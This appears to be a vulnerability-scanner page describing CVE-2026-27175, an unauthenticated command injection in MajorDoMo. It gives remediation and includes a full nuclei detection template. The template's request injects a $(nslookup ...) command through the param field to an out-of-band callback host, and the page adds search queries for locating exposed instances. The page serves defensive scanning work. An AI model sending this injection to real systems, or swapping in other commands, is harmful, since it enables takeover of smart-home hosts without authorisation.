MajorDoMo - OS Command Injection via Race Condition

criticalseverity

9.8CVSS score

24%likelihood of exploitation, next 30 days

98%of all CVEs are less likely

Readycheck to confirm it

MajorDoMo (Major Domestic Module) is vulnerable to unauthenticated OS command injection via rc/index.php. The $param variable is interpolated into a command string within double quotes without escapeshellarg() sanitization, and the cycle_execs.php worker executes the queued command via exec() without sanitization. An attacker triggers cycle_execs.php to start the polling worker, then injects a malicious command via the rc endpoint. Detection requires the cycle_execs.php worker to be running, which is the default state for deployed MajorDoMo instances.

Impact

An unauthenticated remote attacker can execute arbitrary OS commands on the MajorDoMo host with the privileges of the web server process, leading to full compromise of the smart-home controller and any connected devices.

Fix

Apply the upstream fix (MajorDoMo PR #1177, which adds escapeshellarg() sanitization) and update to the latest revision, and restrict network access to the rc endpoint.

How to confirm it

Send: GET {{BaseURL}}/rc/?command=shutdown&param=$(nslookup+{{randstr}}.{{interactsh-url}})
Positive when: contains "OK" AND contains in interactsh_protocol "dns" or "http"

Run it with nuclei: nuclei -id CVE-2026-27175 -u <target>

The full check

id: CVE-2026-27175

info:
  name: MajorDoMo - OS Command Injection via Race Condition
  author: DhiyaneshDk
  severity: critical
  description: |
    MajorDoMo (Major Domestic Module) is vulnerable to unauthenticated OS command injection via rc/index.php. The $param variable is interpolated into a command string within double quotes without escapeshellarg() sanitization, and the cycle_execs.php worker executes the queued command via exec() without sanitization. An attacker triggers cycle_execs.php to start the polling worker, then injects a malicious command via the rc endpoint. Detection requires the cycle_execs.php worker to be running, which is the default state for deployed MajorDoMo instances.
  impact: |
    An unauthenticated remote attacker can execute arbitrary OS commands on the MajorDoMo host with the privileges of the web server process, leading to full compromise of the smart-home controller and any connected devices.
  remediation: |
    Apply the upstream fix (MajorDoMo PR #1177, which adds escapeshellarg() sanitization) and update to the latest revision, and restrict network access to the rc endpoint.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27175
    - https://chocapikk.com/posts/2026/majordomo-revisited/
    - https://github.com/sergejey/majordomo/pull/1177
    - https://www.vulncheck.com/advisories/majordomo-command-injection-in-rcindexphp-via-race-condition
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-27175
    epss-score: 0.23985
    epss-percentile: 0.97872
    cwe-id: CWE-78
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"MajorDoMo"
    fofa-query: title="MajorDoMo"
  tags: cve,cve2026,majordomo,rce,oast,vkev

variables:
  randstr: "{{rand_base(8)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/rc/?command=shutdown&param=$(nslookup+{{randstr}}.{{interactsh-url}})"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "OK"

      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"
        condition: or

References

Use this check only on systems you are authorised to test. Where the data comes from